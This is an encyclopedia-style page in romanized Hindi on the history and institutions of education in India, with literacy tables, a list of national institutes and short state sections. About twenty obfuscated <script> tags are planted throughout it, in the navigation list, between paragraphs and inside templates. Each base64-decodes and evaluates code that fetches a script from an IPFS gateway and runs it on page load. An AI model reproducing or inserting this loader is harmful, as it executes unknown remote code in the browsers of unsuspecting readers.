भारत में शिक्षा

bharat vishay soochi

parichay   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhoogol   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanvidhan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dharm  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> krishi   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vany jivan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhasha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shiksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kala   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanskriti   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> khanapan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> raksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajy   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> paryatan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> alekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Nalanda-University-Bihar.jpg|thumb|250px|nalanda vishh‍vavidyalay, nalanda, bihar]] bharat mean shiksha ka uttaradayitv moolat: rajy sarakaroan par hai. keandriy sarakar shiksha ki suvidhaoan mean talamel sthapit karati hai, vishvavidyalay anudan ayog ke madhyam se uchch shiksha ka star nishchit karati hai aur anusandhan tatha vaijnanik evan pravidhiki shiksha ki vyavastha karati hai. shiksha ki vikas yojanaoan ka kam keandr tatha rajy sarakarean milakar karati haian. pichhale 15 varsho mean shiksha ke kshetr mean bahut pragati huee thi. sanh 1950-51 mean prathamik shiksha ke kshetr mean bahut pragati huee thi. sanh 1950-51 mean prathamik shiksha ke manyata-prapt vidyalayoan ki sankhya 2.1 lakh thi, jo 1962-63 mean badhakar 3.67 lakh ho gee aur isi avadhi mean vidyarthiyoan ki sankhya lagabhag 183 lakh se badhakar 313 lakh ho gee. madhyamik shiksha ki pragati ka anuman isase lagaya ja sakata hai ki jahaan sanh 1950-51 mean kul 20,844 madhyamik vidyalay, lagabhag 52.3 lakh vidyarthi aur 2.1 lakh adhyapak the, vahaan sanh‌ 1962-63 mean vidyalayoan ki sankhya 82,846 vidyarthiyoan ki sankhya 226.70 lakh tatha adhyapakoan ki sankhya 7.89 lakh ho gee. sanh 1964 mean bharat mean 62 vishvavidyalay the, jinamean lagabhag 12 lakh vidyarthi the.

saksharata ki paribhasha

1911 mean bharatiy janaganana ke samay saksharata ko paribhashit karate hue kaha gaya hai ki ek patr padh-likhakar usaka uttar de dene ki yogyata saksharata hai.

prachin kal

bharat mean lambe samay se likhit bhasha ka astitv hai, kintu pratyaksh soochana ke abhav ke karan isaka santoshajanak vikas nahian hua. h dappa aur mohanajod do ki lekhan chitralipi tin hazar varsh eesa poorv aur bad ki hai. yadyapi abhi tak is lipi ko padha nahian ja saka hai, tathapi isase yah spasht hai ki bharatiyoan ke pas kee shatabdiyoan pahale se hi ek likhit bhasha thi aur yahaan ke log padh aur likh sakate the. h dappa aur ashok ke kal ke bich mean pandrah sau varshoan ka aisa samay raha hai, jisamean ki koee likhit praman nahian milata. lekin panini ne us samay bharatiyoan ke dvara boli jane vali vibhinn bhashaoan ka ullekh kiya hai. buddh ke samay mean aur unase bhi pahale is desh mean bhasha ke 60 se bhi adhik roopoan ko jana jata tha tatha shakyamuni ne lekhan ki ek paddhati ki shiksha di thi. bharat ke ek rashtr ke roop mean vikasit hone se pahale sanskrit bhasha ekata ka mahattvapoorn karak thi.

yadi yah man bhi liya jae ki us samay desh ki sampoorn abadi ki ek tihaee se zyada ooanchi jatiyoan ki abadi nahian thi to bhi yah mana ja sakata hai ki ashok ke samay mean bharat mean do karo d se zyada log shikshit the (yah manate hue ki us samay ki janasankhya mean lagabhag 1/5 chhoti ayu vale bachche the tatha sabhi l dakiyaan shiksha prapt nahian kar rahi thian). yah sankhya bahut adhik pratit nahian hoti, kyoanki us bharat ki janasankhya poori manavata ke ek-tihaee ke lagabhag thi. atah us samay ke shikshit logoan ki sankhya isase adhik rahi hogi aur yah us samay ki sabase kam sankhya hi mani ja sakati hai. arambh mean mahilaoan ke lie bhi shiksha anivary thi, lekin samay ke sath unaki vivah ayu kam hoti gee aur is vajah se mahilaoan ki shiksha mean badha aee, use pratibandhit kar diya gaya.

saltanat kal

chitr:Blockquote-open.gif ham yah spasht kar dena chahate haian ki bharat ne jitana rrin grahan kiya hai, utana hi athava usase bhi adhik usane pradan kiya hai. bharat ke prati vishv ke rrin ka saraansh is prakar hai- sampoorn dakshin-poorv eshiya ko apani adhikaansh sanskriti bharat se prapt huee. eesa poorv paanchavian shatabdi ke prarambh mean pashchimi bharat ke upaniveshi lanka mean bas gaye, jinhoanne ashok ke rajyakal mean bauddh dharm svikar kar liya. is samay tak kuchh bharatiy vyapari sambhavataya malaya, sumatra tatha dakshin-poorv eshiya ke any bhagoan mean ane jane lage the. dhire dhire unhoanne sthayi apanivesh sthapit kar lie. isamean sandeh nahian ki pray: unhoanne sthaniy striyoan se vivah kiye. vyapariyoan ke pashchath vahaan brahman tatha bauddh bhikshuk pahuanche aur bharatiy prabhav ne shanai: shanai: vahaan ki svadeshi sanskriti ko jagrat kiya. yahaan tak ki chauthi shatabdi mean sanskrit us kshetr ki rajabhasha ho gayi aur vahaan aisi mahanh sabhyataean vikasit hueean jo vishal samudratatiy samrajyoan ka sangathan karane tatha java mean borobudur ka buddh stoop athava kambodiya mean aangakor ke shaiv mandir jaise ashcharyajanak smarak nirmit karane mean samarth huee. dakshin-poorv eshiya mean any saanskritik prabhav chin evan islami sansar dvara anubhav kie gaye parantu sabhyata ki prarambhik prerana bharat se hi prapt huee bharatiy itihasakar jo apane desh ke atit par garv karate haian pray: is kshetr ko 'vrihattar bharat' ka nam dete haian tatha bharatiy upaniveshoan ka varnan karate haian. apane samany arth mean 'upanivesh' shabd yuktisangat nahian jan p data hai phir bhi yah kaha jata hai ki pauranik ary vijeta vijay ne talavar ke bal se lanka dvip par vijay prapt ki thi. isake atirikt bharat ki sima ke bahar kisi sthayi bharatiy vijay ka koee vastavik praman upalabdh nahian hai. bharatiy upanivesh shantipriy the aur un kshetroan ke bharatiy nripati svadeshi senapati the. jinhoanne bharat se hi sari shiksha grahan ki thi.- basham chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> alag-alag bhashaoan aur lipiyoan mean likhe ge ashok ke prasiddh shasanadesh bharat ke vibhinn bhagoan mean shilalekh ke roop mean the. ye shasanadesh janata ko sambodhit the, jisaka matalab hai ki janata unhean padh evan samajh sakati thi.

uttar bharat ki muslim vijay bhi ek nishchit sima tak saksharata aur shiksha mean kami ane ke lie uttaradayi hai. yadi ham yuddhoan ke evan tanavoan ke ghatak parinamoan ka ullekh n karean to bhi bharat mean islam ki vijay se ek sima tak janata ki shiksha mean giravat aee, jo pahale mahilaoan ke karan likh evan padh sakate the. vaidik yug mean ek kanya ki vivah ki ayu 16 se 18 varsh thi; 12vian sadi mean yah ayu 12-14 ho gee aur age chalakar to yah 7-9 ho gee, isaka parinam yah hua ki mahilaoan ke lie to shiksha ke daravaze band hi kar diye ge.

aupanivesh kal

shiksha ki yooropiy shaili sthapit karane ke bad desh ke bajat ka keval 1.7% shiksha par kharch kiya gaya. yah upaniveshakalin bharat mean shiksha ki sthiti ko batane ke lie paryapt hai ki us samay lokapriy shiksha ka star kya tha. "turki sarakar ke apavad ko chho dakar yoorop mean ek bhi sarakar aisi nahian thi, jo lok-shiksha par itani kam rashi vyay karane vali ho." thumb|250px|left|gova vishvavidyalay

kramavar vikas

bharat mean shiksha ke prati rujhan prachin kal se hi dekhane ko milati hai. prachin kal mean gurukuloan, ashramoan tatha bauddh mathoan mean shiksha grahan karane ki vyavastha hoti thi. tatkalin shiksha kendroan mean nalanda, takshashila evan vallabhi ki ganana ki jati hai. madhy kal mean shiksha madarasoan mean pradan ki jati thi. mugal kal mean prathamik shiksha ‘maqatav’ mean di jati thi aur uchch shiksha madarasoan mean di jati thi. shiksha ke yahi do roop the, prathamik aur uchch arthath madhyamik shiksha nahian thi. mugal shasakoan ne dilli, ajamer, lakhanoo evan agara mean madarasoan ka nirman karavaya.

• bharat mean adhunik v pashchaty shiksha ki shuruat british eest iandiya kampani ke shasan kal se huee. 1813 ee. ke chartar mean sarvapratham bharatiy shiksha ke prachar-prasar ke lie ek lakh rupaye ki vyavastha ki gee.
• lok shiksha ke lie sthapit samany samiti ke das sadasyoan mean do dal ban gaye the. ek aangl ya pashchaty vidya ka samarthak tha to doosara prachy vidya ka. prachy vidya ke samarthakoan ka netritv lok shiksha samiti ke sachiv ech.ti. priansep ne kiya jabaki inaka samarthan samiti ke mantri ech.ech. vilsan ne kiya. ‘adhomukhi nisyandan siddhant’, jisaka arth tha- shiksha samaj ke uchch varg ko di jaye, ko sarvapratham sarakari niti ke roop mean akalaind ne lagoo kiya. ‘vud dispaich’ ke pahale tak is siddhant ke tahat bharatiyoan ko shikshit kiya gaya.
• bord aauf kantrol ke pradhan charls vud ne 19 julaee, 1854 ko bharatiy shiksha par ek vyapak yojana prastut ki jise ‘vud ka dispaich’ kaha jata hai.
• vud ke ghoshana patr dvara shiksha ke kshetr mean huee pragati ki samiksha hetu 1882 ee. mean sarakar ne dablyoo. hantar ki adhyakshata mean 'hantar ayog' ki niyukti ki. is ayog mean 8 sadasy bharatiy the. ayog ko prathamik evan madhyamik shiksha ki samiksha tak hi simit kar diya gaya tha.
• 1917 ee. mean kalakatta vishvavidyalay ki samasyaoan ke adhyayan ke lie d aau. em.ee. saidalar ke netritv mean 'saidalar ayog' gathit kiya gaya.
• 1929 ee. mean 'bharatiy pariniti ayog' ne sar philip hartog ke netritv mean shiksha ke vikas par riport hetu ek sahayak samiti ka gathan kiya. samiti ne prathamik shiksha ke mahattv ki bat ki. hartog samiti ki sipharish ke adhar par 1935 mean ‘kendriy shiksha salahakar bord’ ka punargathan kiya gaya.
• vardha yojana ko kee namoan se jana jata hai yatha- buniyadi shiksha, besik shiksha adi. gaandhiji dvara 1937 ee. mean vardha namak sthan par is yojana ka sootrapat hua. isamean shiksha ke madhyam se hast utpadan karyoan ko mahattv diya gaya. isamean balak apani matribhasha ke dvara 7 varsh tak adhyayan karata tha.
• 1944 ee. mean kendriy shiksha salahakar mandal ne ‘sarjent yojana’ (sarjent bharat sarakar mean shiksha salahakar the) ke nam se ek rashtriy shiksha yojana prastut ki. isamean 6 se 11 varsh ke bachchoan ke lie ni:shulk anivary shiksha diye jane ki vyavastha ki gee thi.
• d aau. sarvapalli radhakrishnan ki adhyakshata mean sanh 1948-1949 mean uchch shiksha ke sujhav ke lie 'radhakrishnan ayog' ka gathan kiya gaya.
• 1953 ee. mean radhakrishnan ayog ki sipharishoan ko kriyanvit karane ke lie vishvavidyalay anudan ayog ki sthapana ki gayi.
• 'mudaliyar ayog' ya 'madhyamik shiksha ayog' ka gathan sanh 1952-1953 mean hua. isane madhyamik shiksha ke lie sujhav die.
• d aau. di.es. kothari ki adhyakshata mean julaee 1964 ee. mean kothari ayog ki niyukti ki gee. isane prathamik shiksha, madhyamik shiksha aur uchch arthath vishvavidyalay shiksha ke lie mahattvapoorn sanstutiyaan ya sujhav diye.

bharatiy itihas ke vibhinn yugoan mean saksharata kal kul janasankhya (das lakh mean) shikshit (das lakh mean) kul pratishat shikshit purush % shikshit mahila % prachin bharat (300 ee.poo. se 300 eesavi) 120 20 17 27 7 madhyakalin bharat (1200 eesavi) 100 9 9 15 3 upaniveshakakal bharat (1900 tak) 300 18 6 11 0.6 adhunik bharat (1961) 439 105 24 34 13 adhunik bharat (1971) 548 161 29 40 18 adhunik bharat (1981) 634 238 36 47 25

upaniveshakalin janagananaoan mean das varsh se adhik ayu varg mean shiksha aank de janaganana varsh kul janasankhya purush mahilaean 1891 6.1 11.4 0.5 1901 6.2 11.5 0.7 1911 7.0 12.6 1.1 1921 8.3 14.2 1.9 1931 9.2 15.4 2.4

bharat ke pramukh shiksha sansthan

bharat ke pramukh sansthan evan unake mukhyalay

shiksha sansthan mukhyalay vaijnanik evan takaniki paribhashik shabdavali ayog nee dilli kendriy aangrezi evan videshi bhasha sansthan haidarabad rashtriy sanskrit sansthan nee dilli rashtriy sanskrit vidyapith tirupati shri lal bahadur shastri rashtriy sanskrit vidyapith nee dilli rashtriy bal bhavan nee dilli kendriy bharatiy bhasha sansthan maisoor bharatiy darshanik anusandhan parishad lakhanoo bharatiy uchchatar anusandhan parishad shimala bharatiy samaj vijnan anusandhan parishad nee dilli bharatiy darshanik anusandhan parishad nee dilli bharatiy vijnan sansthan bangaluroo bharatiy soochana praudyogiki evan prabandhan sansthan gvaliyar bharatiy soochana praudyogiki sansthan ilahabad kendriy hindi sansthan agara paryavaran sansthan mukhyalay shushk bhoomi anusandhan sansthan jodhapur kendriy pradooshan niyantran bord dilli kendriy chi diyaghar pradhikaran nee dilli samajik vaniki aur paristhitiki punarsthapana sansthan ilahabad van anusandhan sansthan deharadoon ji. bi. pant himalay paryavaran evan vikas sansthan almo da himalayan van anusandhan kendr shimala bharatiy van anusandhan evan shikshan parishad deharadoon bharatiy van prabandhan sansthan bhopal bharatiy plaeevud udyog anusandhan sansthan bangaluroo van anuvanshiki tatha vriksh prajanan sansthan koyambatoor van utpadakata kendr raanchi vaniki anusandhan tatha manav sansadhan vikas sansthan chhiandava da (madhy pradesh) varsha van anusandhan sansthan jorahat (asam) lak di vijnan aur praudyogiki sansthan bangaluroo rashtriy vijnan aur praudyogiki sansthan faridabad bharatiy vanaspatik sarvekshan kolakata bharatiy prani vijnan sarvekshan kolakata bharatiy van sarvekshan jorahat (asam) ushnakatibandhiy sansthan jabalapur raksha sansthan mukhyalay eyar fors akadami haidarabad eyar fors teknikal k aaulej bangaluroo k aaulej aauf militri ianjiniyariang pune raksha prabandhan sansthan sikandarabad (aandhr pradesh) difeans sarvisej st aauf k aaulej veliangatan (tamilanadu) dayarektaret janaral enasisi nee dilli ilektrikal evan mekenikal ianjiniyariang skool b dauda hindustan aiyaronotiks limited bangaluroo indiyan eyar fors treniang seantar chennee indiyan militri akadami deharadoon ianstityoot aauf armameant teknol aauji pune militri k aaulej aauf ilektrikal evan mekenikal ianjiniyariang sikandarabad rashtriy kaidit kor mahanideshalay nee dilli rashtriy indiyan militri k aaulej deharadoon rashtriy raksha akadami kh dagavasala (pune) neval k aaulej aauf ianjiniyariang lonavala (pune) aaufisars treniang akadami chennee kala evan sanskriti sansthan mukhyalay kala sanrakshan v sangrahalay nee dilli vijnan ke itihas ka rashtriy sangrahalay sanstha nee dilli ilahabad sangrahalay ilahabad eshiyatik sosayati kolakata bharatiy manav vijnan sarvekshan kolakata bharatiy rashtriy abhilekhagar nee dilli kendriy bauddh shikshan sansthan leh kendriy uchch tibbati shikshan sansthan varanasi kendriy sachivalay pustakalay (1981) nee dilli saanskritik sansthan v prashikshan kendr (1979) nee dilli dilli pablik laibreri nee dilli gaandhi smriti evan darshan smriti nee dilli bharatiy dayamand sansthan soorat bharatiy sangrahalay kolakata iandira gaandhi rashtriyata kala kendr nee dilli iandira gaandhi rashtriy manav sangrahalay bhopal javaharalal neharoo manipur nrity akadami (1954) imphal kalakshetr faundeshan chennee khudabaqsh oriyantal pablik laibreri patana lalit kala akadami (1954) nee dilli maulana abul kalam azad eshiyan stadiz sansthan kolakata rashtriy naty vidyalay (1959) nee dilli rashtriy vijnan sangrahalay parishad kolakata rashtriy adhunik kala vithi (1954) nee dilli rashtriy pustakalay (1948) kolakata rashtriy sangrahalay nee dilli rashtriy anusandhan prayogashala lakhanoo neshanal skool aauf drama nee dilli nav nalanda mahavihar bihar neharoo memoriyal sangrahalay evan pustakalay nee dilli raja ramamohan ray laibreri faundeshan kolakata ramkrishna mishan sanskriti sansthan (1938) kolakata ramapur raza laibreri ramapur sahity akadami (1954) nee dilli salarajang sangrahalay haidarabad sangit natak akadami nee dilli viktoriya memoriyal h aaul kolakata svasthy evan parivar kalyan sansthan mukhyalay kendriy svasthy shiksha byooro nee dilli rashtriy chikitsa vijnan akadami nee dilli rashtriy ayurved sansthan jayapur rashtriy siddh sansthan chennee rashtriy yoonani sansthan bangaluroo moraraji desaee rashtriy yog sansthan nee dilli rashtriy prakritik chikitsa sansthan pune rashtriy homiyopaithi sansthan kolakata rashtriy ayurved vidyapith nee dilli hindustan argenik kemikals limited rasayani (maharashtr) udyog sansthan mukhyalay sauth indiya teksatails risarch esosieshan koyambatoor uttar bharat kap da anusandhan sansthan gajiyabad silk end art silk mils risarch esosieshan mumbee indiyan joot indastrij risarch esosieshan kolakata oon anusandhan sansthan thane (mumbee) rashtriy kemikals evan fartilaijars limited trambe (mumbee) kitanashak sootr praudyogiki sansthan gu dagaanv hindustan entibayotiks limited pimpari, pune plastik ianjiniyari tatha praudyogiki sansthan chennee bharatiy khan byooro nagapur neshanal elyuminiyam kampani limited u disa hindustan jiank limited udayapur sanchar sansthan mukhyalay door sanchar ianjiniyari kendr nee dilli rashtriy doorasanchar vitt aur prabandhan akadami haidarabad uchchastariy doorasanchar prashikshan kendr gajiyabad edavaans lebal teli kamyoonikeshan treniang seantar gajiyabad bharat ratn bhimarav ambedakar doorasanchar prashikshan sansthan jabalapur vaijnanik evan takaniki sansthan mukhyalay indiyan esosieshan ph aaur d kaltiveshan aauf saians kolakata indiyan ianstityoot aauf tr aaupikal mitiriyol aauji pune bharatiy khagol bhautiki sansthan bangaluroo javaharalal neharoo unnat vaijnanik anusandhan kendr bangaluroo raman anusandhan sansthan bangaluroo indiyan ianstityoot aauf jiomaiganetijm mumbee bharatiy vijnan akadami bangaluroo bharatiy rashtriy vijnan akadami nee dilli bharatiy vijnan kaangres sangh kolakata bharatiy rashtriy ianjiniyari akadami nee dilli bharatiy rashtriy mahasagar aur soochana seva kendr haidarabad rashtriy mahasagar praudyogiki sansthan chennee rashtriy aantarkatik aur mahasagar shodh kendr goa rashtriy jaivik vijnan kendr bangaluroo rashtriy pratirakshikaran sansthan nee dilli rashtriy koshika vijnan kendr pune rashtriy mastishk anusandhan kendr manesar (hariyana) rashtriy paudh jinom anusandhan kendr nee dilli rashtriy bhookamp vijnan aank da kendr nee dilli rashtriy parikshan aur aanshaankan pramanan bord nee dilli rashtriy vijnan akadami ilahabad sarvekshan prashikshan sansthan haidarabad bos sansthan kolakata agarakar anusandhan sansthan tiruvanantapuram vadiya ianstityoot aauf himalayan jiol aauji deharadoon es.en. bos rashtriy mool vijnan kendr kolakata birabal sahani ianstityoot aauf peliyobotani lakhanoo teknol aauji imfarmeshan forakastiang end asesameant kauansil nee dilli vijnan prasar nee dilli taral kristal shodh kendr bangaluroo aryabhat anusandhan vaidhashala nainital paramanu khanij anusandhan aur anveshan nideshalay haidarabad bharatiy yooreniyam nigam limited jadoogu da (jharakhand) gurujal bord mumbee nabhikiy eedhan parisar haidarabad bhabha etomik risarch sentar mumbee shriram ianstityoot aauf kemikal risarch nee dilli plajma anusandhan sansthan (aee.pi.a.) ahamadabad harishachandr anusandhan sansthan chennee bhautiki sansthan bhuvaneshvar verieval enarji saiklotron seantar kolakata paramanu oorja vibhag mumbee ekikrit tatiy aur samudri kshetr prabandhan chennee samudri jiv sansadhan aur paristhitiki kendr kochchi hindustan jiank limited udayapur diene fiangar priantiang tatha naidaniki kendr haidarabad jaiv sansadhan evan nirantar vikas sansthan imphal jivan vijnan sansthan bhuvaneshvar fijikal risarch leboretari ahamadabad es.vi. rashtriy takaniki sansthan soorat saha nyookliyar fijiks sansthan kolakata sismik risarch seantar gaurividanur shriram chennee anusandhan sansthan nee dilli tata ianstityoot aauf fandameantal risarch mumbee seantar f aaur merin liviang risors end ikol aauji kochchi maithametikal saians sansthan chennee bhautiki sansthan bhuvaneshvar rashtriy jiv vijnan kendr bangaluroo sarvekshan prashikshan sansthan haidarabad yooreniyam k aaurpereshan aauf indiya limited jaduguda (jharakhand) vishvesvaraiya rashtriy takaniki sansthan nagapur parivahan sansthan mukhyalay dijal lokomotiv varks varanasi chittaranjan lokomotiv varks chittaranjan (bangal) rel koch faiktari peramboor (chennee) rel hvil faiktari bangaluroo marin ianjiniyariang aur anusandhan sansthan kolakata marin ianjiniyariang aur anusandhan sansthan mumbee lal bahadur shastri tatavarti anusandhan evan uchch adhyayan sansthan mumbee bharatiy aantardeshiy jalamarg pradhikaran noeda meritaim treniang ianstityoot mumbee hindustan shipayard limited vishakhapattanam kendriy aantardeshiy jal parivahan nigam kolakata nagar vimanan suraksha byooro dilli rashtriy vimanan prabandh evan anusandhan sansthan dilli fayar treniang seantar narayanapur (kolakata) iandira gaandhi rashtriy u dan akadami furasataganj (uttar pradesh) bharatiy paryatan evan yatra prabandhan sansthan gvaliyar rashtriy jalakri da sansthan goa jal sansthan mukhyalay kendriy mrida tatha padarth anusandhan kendr nee dilli kendriy jal tatha vidyut anusandhan kendr kh dagavasala, pune rashtriy pariyojana nirman nigam limited nee dilli rashtriy jal vijnan sansthan ru daki (uttarakhand) khady evan nagarik apoorti sansthan mukhyalay bharatiy manak byooro dilli rashtriy parikshan grih kolakata nyay aur vidhi sansthan mukhyalay rashtriy nyay akadami bhopal saradar vallabh bhaee patel rashtriy pulis akadami haidarabad lokanayak jayaprakash narayan rashtriy aparadh tatha nyay vijnan sansthan nee dilli shram sansthan mukhyalay shram byooro sansthan chandigadh aur shimala vi.vi. giri rashtriy shram sansadhan noeda kendriy shramik bord nagapur khan suraksha mahanideshalay dhanabad kendriy shaikshik midiya sansthan chennee kendriy karmachari prashikshan aur anusandhan sansthan kolakata janasanchar sansthan mukhyalay prakashan vibhag nee dilli film vibhag mumbee rashtriy film abhilekhagar pune bharatiy bal film samiti mumbee vijnapan aur drishy prachar nideshalay dilli kshetriy prasar nideshalay nee dilli kendriy chalachitr pramanan bord mumbee bharatiy film tatha telivijan sansthan pune satyajit re film tatha telivijan sansthan kolakata kalyan sansthan mukhyalay rashtriy drishtihin sansthan deharadoon rashtriy asthi rog vikalaang sansthan kolakata ali yavarajang rashtriy badhir sansthan mumbee rashtriy manasik vikalaang sansthan sikandarabad rashtriy punarvas prashikshan evan anusandhan sansthan katak sharirik vikalaang sansthan nee dilli bahu-vikalaangata sashaktikaran sansthan chennee rashtriy jan sahayog evan bal vikas sansthan nee dilli yuva kary evan khel sansthan mukhyalay rajiv gaandhi rashtriy yuva vikas sansthan perambadoor lakshmibaee rashtriy sharirik shiksha sansthan (1957) gvaliyar oorja sansthan mukhyalay rashtriy tap bijali nigam nee dilli vidyut vitt nigam limited nee dilli

bharat ke rajyoan mean shiksha vyavastha

[[chitr:Daly-College-Indore.jpg|thumb|250px|deli k aaulej, indaur]]

uttar pradesh

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• uttar pradesh mean 16 vishvavidyalay, 400 se adhik sanbaddh mahavidyalay, kee chikitsa mahavidyalay aur vishisht adhyayanoan v shodh ke lie kee sansthan haian.
• 1950 ke dashak ke bad se rajy mean vidyalayoan v sabhi staroan par vidyarthiyoan ki sankhya badhane ke bavajood rajy ki janasankhya ka 57.36 pratishat hissa hi sakshar hai.
• prathamik star par shiksha ka madhyam hindi (kuchh niji vidyalayoan mean madhyam aangrezi) hai, uchchatar vidyalay ke vidyarthi hindi v aangrezi mean padhaee karate haian, jabaki vishvavidyalay star par amataur par shiksha ka madhyam aangrezi hai.

jharakhand

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• jharakhand mean saksharata dar 1991 ke 41.39 pratishat ki tulana mean 54.13 pratishat ho gee hai.
• yahaan 21,386 vidyalay aur paanch vishvavidyalay haian.
• isake alava yahaan iandiyan skool aauf maians, jana- mana vyapar evan prabandhan sansthan, zeviyar lebar rileshans ianstityoot aur keandriy khanan shodh sansthan jaise shaikshanik v shodh sansthan sthit haian.

[[chitr:Rural-Education-Lucknow.jpg|thumb|250px|left|gramin shiksha, lakhanoo]]

rajasthan

